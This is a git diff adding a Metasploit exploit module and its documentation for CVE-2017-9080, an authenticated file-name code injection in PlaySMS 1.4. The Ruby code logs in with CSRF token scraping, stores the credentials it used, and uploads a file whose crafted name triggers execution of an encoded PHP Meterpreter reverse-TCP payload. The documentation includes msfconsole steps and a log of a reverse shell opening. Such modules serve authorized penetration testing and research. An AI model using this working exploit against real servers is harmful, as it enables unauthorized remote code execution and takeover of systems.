diff --git a/documentation/modules/exploit/multi/http/playsms_filename_exec.md b/documentation/modules/exploit/multi/http/playsms_filename_exec.md new file mode 100644 index 000000000000..dafef5c80ca9 --- /dev/null +++ b/documentation/modules/exploit/multi/http/playsms_filename_exec.md @@ -0,0 +1,52 @@ +## Description +This module exploits a code injection vulnerability within an authenticated file upload feature in PlaySMS v1.4. This issue is caused by improper file name handling in sendfromfile.php file. Authenticated Users can upload a file and rename the file with a malicious payload. Additional information and vulnerabilities can be viewed on Exploit-DB [42044](https://www.exploit-db.com/exploits/42003/). + +## Vulnerable Application +Available at [Exploit-DB](https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz) + +### Vulnerable Application Installation Setup. + 1. Download Application : `wget https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz` + 2. Extract : `tar -xvf 577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz` + 3. Move In WebDirectory : `mv playsms-1.4/web/* /var/www/html/` + 4. make config file: `cp /var/www/html/config-dist.php /var/www/html/config.php` + 5. Change Owner : `chown -R www-data:www-data /var/www/html/` + 6. Set DB creds in config.php File. And dump playsms-1.4/db/playsms.sql in your playsms database. + 7. Now Visit : http://localhost/ + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: `use exploit/multi/http/playsms_filename_exec` + 4. Do: `set rport ` + 5. Do: `set rhost ` + 6. Do: `set targeturi SecreTSMSgatwayLogin` + 7. Do: `set username touhid` + 8. Do: `set password diana` + 9. Do: `check` +``` +[*] 10.22.1.10:80 The target appears to be vulnerable. +``` + 10. Do: `set lport ` + 11. Do: `set lhost ` + 12. Do: `exploit` + 13. You should get a shell. + + +## Scenarios +### Playsms on Ubuntu Linux +``` +msf exploit(multi/http/playsms_filename_exec) > run + +[*] Started reverse TCP handler on 10.22.1.3:4444 +[+] X-CSRF-Token for login : 13bce9776cfc270a3779e8b557330cc2 +[*] Trying to Login ...... +[+] Authentication successful : [ touhid:diana ] +[+] X-CSRF-Token for upload : 2780d48dc11a482a58d8a95ad873c6cc +[*] Trying to upload file with malicious Filename Field.... +[*] Sending stage (37775 bytes) to 10.22.1.15 +[*] Sleeping before handling stage... +[*] Meterpreter session 1 opened (10.22.1.3:4444 -> 10.22.1.15:38814) at 2018-04-08 13:45:34 +0530 + +meterpreter > +``` diff --git a/modules/exploits/multi/http/playsms_filename_exec.rb b/modules/exploits/multi/http/playsms_filename_exec.rb new file mode 100644 index 000000000000..25b599c93ed1 --- /dev/null +++ b/modules/exploits/multi/http/playsms_filename_exec.rb @@ -0,0 +1,189 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution', + 'Description' => %q{ + This module exploits a code injection vulnerability within an authenticated file + upload feature in PlaySMS v1.4. This issue is caused by improper file name handling + in sendfromfile.php file. + Authenticated Users can upload a file and rename the file with a malicious payload. + This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7. + }, + 'Author' => + [ + 'Touhid M.Shaikh ', # Discoverys and Metasploit Module + 'DarkS3curity' # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['EDB','42003'], + ['CVE','2017-9080'], + ['URL','https://www.youtube.com/watch?v=MuYoImvfpew'], + ['URL','http://touhidshaikh.com/blog/?p=336'] + ], + 'DefaultOptions' => + { + 'SSL' => false, + 'PAYLOAD' => 'php/meterpreter/reverse_tcp', + 'ENCODER' => 'php/base64', + }, + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'PlaySMS 1.4', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 21 2017')) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']), + OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), + OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin']) + ]) + end + + def uri + return target_uri.path + end + + def check + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php') + }) + rescue + vprint_error('Unable to access the index.php file') + return CheckCode::Unknown + end + + if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login') + return Exploit::CheckCode::Appears + end + + CheckCode::Safe + end + + def login + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'index.php'), + 'method' => 'GET', + 'vars_get' => { + 'app' => 'main', + 'inc' => 'core_auth', + 'route' => 'login', + } + }) + + # Grabbing CSRF token from body + /name="X-CSRF-Token" value="(?[a-z0-9"]+)">/ =~ res.body + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? + vprint_good("X-CSRF-Token for login : #{csrf}") + + cookies = res.get_cookies + vprint_status('Trying to Login ......') + # Send Creds with cookies. + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'index.php'), + 'cookie' => cookies, + 'vars_get' => Hash[{ + 'app' => 'main', + 'inc' => 'core_auth', + 'route' => 'login', + 'op' => 'login', + }.to_a.shuffle], + 'vars_post' => Hash[{ + 'X-CSRF-Token' => csrf, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }.to_a.shuffle], + }) + + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? + + # Try to access index page with authenticated cookie. + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php'), + 'cookie' => cookies, + }) + + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? + + # if we redirect to core_welcome dan we assume we have authenticated cookie. + if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome') + print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]") + store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) + return cookies + else + fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") + end + end + + def exploit + cookies = login + + # Agian CSRF token. + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'index.php'), + 'method' => 'GET', + 'cookie' => cookies, + 'vars_get' => Hash[{ + 'app' => 'main', + 'inc' => 'feature_sendfromfile', + 'op' => 'list', + }.to_a.shuffle] + }) + + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? + + # Grabbing CSRF token from body. + /name="X-CSRF-Token" value="(?[a-z0-9"]+)">/ =~ res.body + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? + vprint_good("X-CSRF-Token for upload : #{csrf}") + + # Payload. + evilname = "" + + # setup POST request. + post_data = Rex::MIME::Message.new + post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token + post_data.add_part("#{rand_text_alpha(8 + rand(5))}", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"") # payload + post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"') # extra + data = post_data.to_s + + vprint_status('Trying to upload file with malicious Filename Field....') + # Lets Send Upload request. + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'index.php'), + 'method' => 'POST', + 'agent' => payload.encode, + 'cookie' => cookies, + 'vars_get' => Hash[{ + 'app' => 'main', + 'inc' => 'feature_sendfromfile', + 'op' => 'upload_confirm', + }.to_a.shuffle], + 'headers' => { + 'Upgrade-Insecure-Requests' => '1', + }, + 'Connection' => 'close', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + }) + end +end